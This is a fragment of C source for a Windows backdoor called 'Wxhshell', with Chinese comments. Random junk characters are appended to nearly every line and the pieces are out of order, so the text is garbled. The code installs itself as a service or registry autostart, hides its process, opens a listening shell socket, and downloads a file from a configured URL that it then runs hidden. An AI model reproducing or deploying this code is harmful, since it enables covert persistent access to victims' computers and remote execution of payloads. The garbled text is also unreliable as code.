} PROCESS_BASIC_INFORMATION; aabnlOVw
bq]af.o*
PROCNTQSIP NtQueryInformationProcess;
R:-^,/1
0Bb amU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AS~O*(po
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H+ t^eg88
"|(+~8[
HANDLE hProcess; n hS=t8H
PROCESS_BASIC_INFORMATION pbi; |K7JU^"OQ
d.sxB}_O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C}%g(YRhb
if(NULL == hInst ) return 0; ^~?VD
v:eVK!O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Cvo^cC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hK3?m.>"g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ c9EE-
VQ2)qJ#l
if (!NtQueryInformationProcess) return 0; weKwBw
xrS;06$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 58{6k J@
if(!hProcess) return 0; S+7>Y? B!
%3|0_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (Jy7
/(5SJ(a
CloseHandle(hProcess); ?tSFM:9PU
?FxxH*>"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M5CFW >T
if(hProcess==NULL) return 0; (ybKACx
5l}v
HMODULE hMod; H4MFTnJ{
char procName[255]; d?.ewsC
unsigned long cbNeeded; 8W9kd"=U
Y 8EL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8N'[)Jw
n'K,*
CloseHandle(hProcess); 3t)07(x_B
P_
U[OM\
if(strstr(procName,"services")) return 1; // 以服务启动 !SMIb(~[z
4,`Yx s)%
return 0; // 注册表启动 vm_+U*%c
} .IE2d%]?
"l"zbW WOH
// 主模块 De6WC*trq
int StartWxhshell(LPSTR lpCmdLine) qn5e[Vn
{ D<$,v(-
SOCKET wsl; g/)mbL>=
BOOL val=TRUE; fq48>"g*
int port=0; o+r?N5
struct sockaddr_in door; r8A
AQw1,tGV
if(wscfg.ws_autoins) Install(); (Z fY/
YAYPof~A$l
port=atoi(lpCmdLine); @2na r<
g ]e^;
if(port<=0) port=wscfg.ws_port; YKlYo~fGN9
]6bh #N;.
WSADATA data; +mIO*UQi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .Ks%ar
L'iENZI$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tURjIt,I
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @G@,)`p4?
door.sin_family = AF_INET; )v
!GiZ"7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); J^m#984
door.sin_port = htons(port); E_[|ZrIO&*
e$u=>=jV]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~oWCTj-
closesocket(wsl); }6*+>?
return 1; D2z" Z@
} 7o_1PwKS6
G:7HL5u
if(listen(wsl,2) == INVALID_SOCKET) { ry)g<OA
closesocket(wsl); >4
4A
return 1; _bRd2k,
} DO`
K_B
Wxhshell(wsl); ^K.
d|z
WSACleanup(); XHKiz2Pc1
ND $m|V-C
return 0; I|8'#QX
^yL6A1
} 2.)xWCG
c5C 2xE}T
// 以NT服务方式启动 094~ s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @TBcVHy
{ # bc$[%_
DWORD status = 0; W5z<+8R
DWORD specificError = 0xfffffff; /
VypN,
awxzP*6
serviceStatus.dwServiceType = SERVICE_WIN32; O<[h
serviceStatus.dwCurrentState = SERVICE_START_PENDING; K9O%SfshF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xV w9_il2a
serviceStatus.dwWin32ExitCode = 0; }-jS0{i
serviceStatus.dwServiceSpecificExitCode = 0; [CxnGeKK
serviceStatus.dwCheckPoint = 0; Mm7;'Zbg
serviceStatus.dwWaitHint = 0; .
7*k}@k
q$RJ3{Sf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Y9F U
if (hServiceStatusHandle==0) return; &\6Buw_
gCfAy=-,V
status = GetLastError(); m.!n|_}]
if (status!=NO_ERROR) mUSrC U_}
{ !8YZ;l
serviceStatus.dwCurrentState = SERVICE_STOPPED; k@:M#?(F
serviceStatus.dwCheckPoint = 0; Bu_/yKW
serviceStatus.dwWaitHint = 0; Ya~*e;CW2
serviceStatus.dwWin32ExitCode = status; M~/7thP{
serviceStatus.dwServiceSpecificExitCode = specificError; R<(kiD\?]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {;mT.[
return; 9BR/zQ2
} R. :~e
$.HZz
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^#i3JMq
serviceStatus.dwCheckPoint = 0; 9lXjB_wG>
serviceStatus.dwWaitHint = 0; } V *
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \"k[y+O],4
} 0#Ivo<V
8k~$_AT>u
// 处理NT服务事件,比如:启动、停止 <KY \sb9
VOID WINAPI NTServiceHandler(DWORD fdwControl) @2(7
ZxI
{ [l#
8}dy
switch(fdwControl) n92*:Y
{ 0ndk=V
case SERVICE_CONTROL_STOP: .h c-uaL
serviceStatus.dwWin32ExitCode = 0; V Ioqn$
serviceStatus.dwCurrentState = SERVICE_STOPPED; R%Xhdcn7
serviceStatus.dwCheckPoint = 0; ;|yd}q=p
serviceStatus.dwWaitHint = 0; X;:qnnO
{ :)JIKP%$\)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C?dQ
QB$
} J:D{5sE<|
return; [7Fx#o=da
case SERVICE_CONTROL_PAUSE: r{LrQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; U)v){g3w)
break; ?`T0zpC
case SERVICE_CONTROL_CONTINUE: |)5xm N]
serviceStatus.dwCurrentState = SERVICE_RUNNING; IkWV|E
break; oyw*Z_ 9~
case SERVICE_CONTROL_INTERROGATE: a%nksuP3
break; =:fN
}; U~3uu&/r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1PGY/c
} Q'
b@5o
9!XXuMWU<
// 标准应用程序主函数 4e`GMtp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V8KdY=[
{ "kb[}r4?
~?6M4!u
// 获取操作系统版本 ~W/|RP7S
OsIsNt=GetOsVer(); bv:M
zYS
GetModuleFileName(NULL,ExeFile,MAX_PATH); LI~ofCp
^+J3E4
// 从命令行安装 [k~}Fe)x
if(strpbrk(lpCmdLine,"iI")) Install(); ;bYS#Bid{V
qQN|\u+co
// 下载执行文件 jK(]eiR$S
if(wscfg.ws_downexe) { FH3^@@Y%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bT>1S2s
WinExec(wscfg.ws_filenam,SW_HIDE); /E %^s3S.
} 4
*n4P
I@/s&$H`l
if(!OsIsNt) { u=QG%O#B
// 如果时win9x,隐藏进程并且设置为注册表启动 {)`tN&\
HideProc(); XfZ^,'z
StartWxhshell(lpCmdLine); OUtXu7E$
} D`4>Wh/H
else BT *z^ZH
if(StartFromService()) WY& [%r
// 以服务方式启动 V|\dnVQ'-%
StartServiceCtrlDispatcher(DispatchTable); #r,LV}*qg
else |YnT;q
// 普通方式启动 C<B+! 16
StartWxhshell(lpCmdLine); PKjM1wqaG@
5jNDr`pnu
return 0; /gH[|d
} '}5Yc,
[`n)2}
k
/_(q7:<ZF
e)M)q!nG
=========================================== O3JBS^;V2
>OxSrc@A
q?##S'
;h~v,h
QKHAN{hJ
1F,>siuh ,
" FW@(MIH
zn)Kl%N^
#include <stdio.h> EEJ OJ<
#include <string.h> 2kSN<jMr
#include <windows.h> b+#A=Z+Pr
#include <winsock2.h> aj`_*T"A
#include <winsvc.h> z)_h"y?H{%
#include <urlmon.h> /^pPT6
#?_8 *?
#pragma comment (lib, "Ws2_32.lib") V44M=c7E
#pragma comment (lib, "urlmon.lib") umuE5MKY<
$! R]!s
#define MAX_USER 100 // 最大客户端连接数 %AJTU3=0
#define BUF_SOCK 200 // sock buffer \- f^C}m
#define KEY_BUFF 255 // 输入 buffer &